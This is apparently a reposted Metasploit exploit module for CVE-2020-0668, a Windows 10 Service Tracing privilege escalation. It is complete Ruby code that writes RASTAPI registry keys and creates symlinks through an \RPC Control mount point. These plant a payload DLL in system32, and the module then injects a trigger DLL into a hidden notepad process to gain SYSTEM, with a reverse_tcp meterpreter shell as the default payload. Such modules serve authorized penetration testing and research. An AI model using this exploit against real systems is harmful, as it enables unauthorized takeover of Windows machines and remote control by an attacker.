Service Tracing Privilege Escalation

Related Vulnerabilities: CVE-2020-0668   CVE-2020-0668  
Publish Date: 08 May 2020
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/filesystem'
require 'msf/core/exploit/file_dropper'
require 'msf/core/post/file'


class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
                      'Name'           => 'Service Tracing Privilege Elevation Vulnerability',
                      'Description'    => %q(This module leverages a
                                             trusted file overwrite with
                                             a dll hijacking
                                             vulnerability to gain
                                             SYSTEM-level access on
                                             vulnerable Windows 10 x64
                                             targets),
                      'License'        => MSF_LICENSE,
                      'Author'         =>
                        [
                          'itm4n', # PoC
                          'bwatters-r7' # msf module
                        ],
                      'Platform'       => ['win'],
                      'SessionTypes'   => ['meterpreter'],
                      'Targets'        =>
                        [
                          ['Windows x64', { 'Arch' => ARCH_X64 }]
                        ],
                      'DefaultTarget'  => 0,
                      'DisclosureDate' => 'Feb 11 2020',
                      'References'     =>
                        [
                          ['CVE', '2020-0668'],
                          ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
                          ['URL', 'https://github.com/itm4n/SysTracingPoc'],
                          ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
                          ['PACKETSTORM', '156576'],
                          ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
                          ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
                        ],
                      'Notes' =>
                        {
                          'SideEffects' => [ ARTIFACTS_ON_DISK ]
                        },
                      'DefaultOptions' =>
                        {
                          'DisablePayloadHandler' => false,
                          'EXITFUNC' => 'thread',
                          'Payload' => 'windows/x64/meterpreter/reverse_tcp',
                          'WfsDelay' => 900
                        }))

    register_options([
                       OptString.new('EXPLOIT_DIR',
                                     [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
                       OptBool.new('OVERWRITE_DLL',
                                   [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
                       OptString.new('PAYLOAD_UPLOAD_NAME',
                                     [false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
                       OptString.new('PHONEBOOK_UPLOAD_NAME',
                                     [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
                     ])
    # stores open handles to cleanup properly
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if !registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name].strip, \
                          registry_hash[:value_name].strip, \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])

    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad("Unable to clean up registry")
      print_error(e.to_s)
    end
  end

  def create_reg_hash(new_size, exploit_dir)
    reg_keys = []
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "EnableFileTracing",
                  value_type: "REG_DWORD",
                  value_value: 1,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "FileDirectory",
                  value_type: "REG_EXPAND_SZ",
                  value_value: exploit_dir,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
                  value_name: "MaxFileSize",
                  value_type: "REG_DWORD",
                  value_value: new_size,
                  delete_on_cleanup: false)
    reg_keys
  end

  def remove_file(file_pathname)
    vprint_status("Deleting #{file_pathname}")
    begin
      session.fs.file.rm(file_pathname)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Manual cleanup of \"#{file_pathname}\" required!")
    end
  end

  def cleanup_mountpoint(dir)
    print_status("Delete mountpoint #{dir}")
    unless delete_mount_point(dir)
      print_error("Error when deleting the mount point.")
    end
    begin
      session.fs.dir.rmdir(dir)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Error when deleting \"#{dir}\".")
    end
  end

  def setup_process
    begin
      print_status('Launching notepad to host the exploit...')
      notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Sandboxes could not allow to create a new process
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    process
  end

  def inject_magic(process)
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
    dll = ''
    ::File.open(library_path, 'rb') { |f| dll = f.read }
    exploit_mem, offset = inject_dll_data_into_process(process, dll)
    vprint_status("Trigger injected.")
    payload_mem = inject_into_process(process, payload.encoded)
    print_status('Trigger injected. Starting thread...')
    process.thread.create(exploit_mem + offset, payload_mem)
  end

  def launch_dll_trigger
    begin
      print_status('Trying to start notepad')
      process = setup_process
      inject_magic(process)
      print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
    end
  end

  def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
    handles = []
    reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
    vprint_status("Registry hash = #{reg_hash}")

    # set up directories and mountpoints
    vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
    mkdir(exploit_dir)
    vprint_status("Made #{exploit_dir}")
    register_file_for_cleanup(upload_payload_pathname)
    mount_dir = '\\RPC Control\\'

    # Create mountpoint
    print_status("Creating mountpoint")
    unless create_mount_point(exploit_dir, mount_dir)
      fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")
    end

    # Upload payload
    print_status("Uploading payload to #{upload_payload_pathname}")
    write_file(upload_payload_pathname, file_contents)
    register_file_for_cleanup(upload_payload_pathname)
    upload_md5 = session.fs.file.md5(upload_payload_pathname)
    vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")

    # Create Symlinks
    print_status("Creating Symlinks")
    vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
    symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")
    end
    vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
    handles.push(symlink_handle['LinkHandle'])
    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
    symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")
    end
    vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
    handles.push(symlink_handle['LinkHandle'])

    # write registry keys
    reg_hash.each do |entry|
      write_reg_value(entry)
    end

    # Upload phonebook file
    phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
    upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name
    launch_rasdialer(upload_phonebook_pathname)
    register_file_for_cleanup(upload_phonebook_pathname)
    vprint_status("Checking on #{target_payload_pathname}")
    vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
    moved_md5 = session.fs.file.md5(target_payload_pathname)
    vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")

    # clean up after file move
    print_status("Cleaning up before triggering dll load...")
    print_status("Removing Registry keys")
    reg_hash.each do |entry|
      remove_reg_value(entry)
    end
    print_status("Removing Symlinks")
    handles.each do |handle|
      result = session.railgun.kernel32.CloseHandle(handle)
      vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
    end
    print_status("Removing Mountpoint")
    session.fs.dir.rmdir(exploit_dir)
    print_status("Removing directories")
    unless moved_md5 == upload_md5
      fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")
    end
  end

  def exploit
    validate_target
    validate_active_host
    # dll should not already exist
    win_dir = session.sys.config.getenv('windir')
    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
    if file?(target_payload_pathname)
      print_warning("#{target_payload_pathname} already exists")
      print_warning("If it is in use, the overwrite will fail")
      unless datastore['OVERWRITE_DLL']
        print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")
        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
      end
    end

    # set up variables
    temp_dir = session.sys.config.getenv('TEMP')
    exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
    upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")

    # start file copy
    rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)

    # launch trigger
    launch_dll_trigger
    print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
    print_status("Exploit complete.  It may take up to 10 minutes to get a session")
  end

  def validate_active_host
    begin
      print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def validate_target
    unless sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end

    if session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    end

    sysinfo_value = sysinfo['OS']
    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
    vprint_status("Build Number = #{build_num}")
    unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
    end
  end

  def launch_rasdialer(upload_phonebook_pathname)
    local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
    ensure_clean_destination(upload_phonebook_pathname)
    vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
    begin
      upload_file(upload_phonebook_pathname, local_phonebook_path)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Failed to upload phonebook")
      return nil
    end
    print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")

    # Launch RASDIAL
    vprint_status("Launching Rasdialer")
    rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
    print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
    output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
    vprint_status(output)
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error("Unable to delete #{path}")
    end
  end
end
<p>